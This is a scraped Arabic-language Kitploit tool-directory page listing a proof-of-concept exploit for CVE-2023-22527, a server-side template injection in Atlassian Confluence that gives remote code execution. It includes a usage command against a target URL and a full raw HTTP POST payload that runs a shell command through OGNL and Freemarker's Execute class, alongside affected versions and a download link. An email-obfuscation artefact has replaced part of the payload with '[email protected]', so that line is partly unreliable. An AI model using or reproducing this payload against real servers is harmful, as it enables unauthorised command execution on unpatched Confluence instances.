Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2023-22527 — CVE-2023-22527 | RCE باستخدام SSTI في Confluence | Kitploit
أدوات/GitHubGitHub/kh4sh3i/cve-2023-22527
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقتطوير الحمولات
GitHubkh4sh3i/cve-2023-22527

CVE-2023-22527

CVE-2023-22527 | RCE باستخدام SSTI في Confluence

عرض المستودع
1منذ سنة واحدةلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة



CVE-2023-22527

CVE-2023-22527 | RCE باستخدام SSTI في Confluence

الوصف

  • يشير CVE-2023-22527 إلى ثغرة حقن القوالب من جانب الخادم في محرك Freemarker، مما يسمح للمستخدمين بتنفيذ أوامر على خادم الويب.
  • هذا الكود هو برنامج نصي لإثبات المفهوم (PoC) لاستغلال CVE-2023-22527، والذي يُوصف بأنه ثغرة حقن القوالب من جانب الخادم (SSTI) في Atlassian Confluence.

الاستخدام

root@kitploit:~
python3 CVE-2023-22527.py -u  http://target.com

الحمولة

root@kitploit:~
POST /template/aui/text-inline.vm HTTP/1.1
Host: 127.0.0.1
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 278

label=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&[email protected]@getResponse().getWriter().write((new freemarker.template.utility.Execute()).exec({"id"}))

الإصدارات المتأثرة

root@kitploit:~
8.0.x
8.1.x
8.2.x
8.3.x
8.4.x
8.5.0-8.5.3

المراجع

  • projectdiscovery
تنزيل الأداة